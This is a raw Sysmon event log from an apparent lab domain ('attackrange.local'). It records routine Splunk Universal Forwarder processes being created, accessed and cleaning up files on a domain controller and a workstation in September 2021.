10341000x800000000000000046196Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:18.115{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6FF6-613B-F20A-00000000F001}6928C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000046195Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:18.115{7BD73061-6FF6-613B-F20A-00000000F001}6928C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000046194Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:18.005{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4EA7B180907235C9C6E3F09E03603E69,SHA256=5539C278C954BBF76C25D955EBAA04D808DDA0BAF0ED11E521F12738793419F9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014348Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:19.579{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8277FAC6CD01727D3E302DB494BD0864,SHA256=F3851B7BE65954E37C99395F5EB0B7D8278B9B38DF84C3BBC6DF5C1F5DFF1BE8,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046225Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:19.708{7BD73061-6FF7-613B-F40A-00000000F001}57966476C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000046224Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:19.630{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=1A75A92E003DFA6870299A49CE0FB848,SHA256=BD59786C69E9BDB30C2E33C7A96F17C0324CD26D7E07B43AC3852DC391E27EFD,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046223Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:19.505{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6FF7-613B-F40A-00000000F001}5796C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046222Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:19.505{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046221Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:19.505{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046220Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:19.505{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046219Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:19.505{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046218Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:19.505{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6FF7-613B-F40A-00000000F001}5796C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000046217Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:19.505{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6FF7-613B-F40A-00000000F001}5796C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000046216Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:19.506{7BD73061-6FF7-613B-F40A-00000000F001}5796C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000046215Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:19.505{7BD73061-65B2-613B-0D00-00000000F001}8925164C:\Windows\system32\svchost.exe{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000046214Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:19.240{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AED36BBD56653BC642CC4701DC8AF20B,SHA256=39B98829E5EA89371E1CDA247EBBCACC2410177539CF394BBC269CA670332529,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014349Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:20.595{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C144CCAC200463399F0E3D61592E4403,SHA256=050235C47E8079269574FBCE09EA8659B080BEFFBC342E0E65BAC227FB9A477B,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046245Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:20.897{7BD73061-6FF8-613B-F60A-00000000F001}45205700C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046244Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:20.677{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6FF8-613B-F60A-00000000F001}4520C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046243Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:20.677{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046242Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:20.677{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046241Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:20.677{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046240Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:20.677{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046239Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:20.677{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6FF8-613B-F60A-00000000F001}4520C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000046238Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:20.677{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6FF8-613B-F60A-00000000F001}4520C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000046237Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:20.678{7BD73061-6FF8-613B-F60A-00000000F001}4520C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000046236Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:20.349{7BD73061-6FF8-613B-F50A-00000000F001}11405624C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000046235Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:20.255{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F19BC96180231D4808386DF9EE487B65,SHA256=79C89EA9F11E5F7159239CBE78CD9B1526BEFECCCEA26ECF9BF7FD086546768E,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046234Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:20.177{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6FF8-613B-F50A-00000000F001}1140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046233Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:20.177{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046232Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:20.177{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046231Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 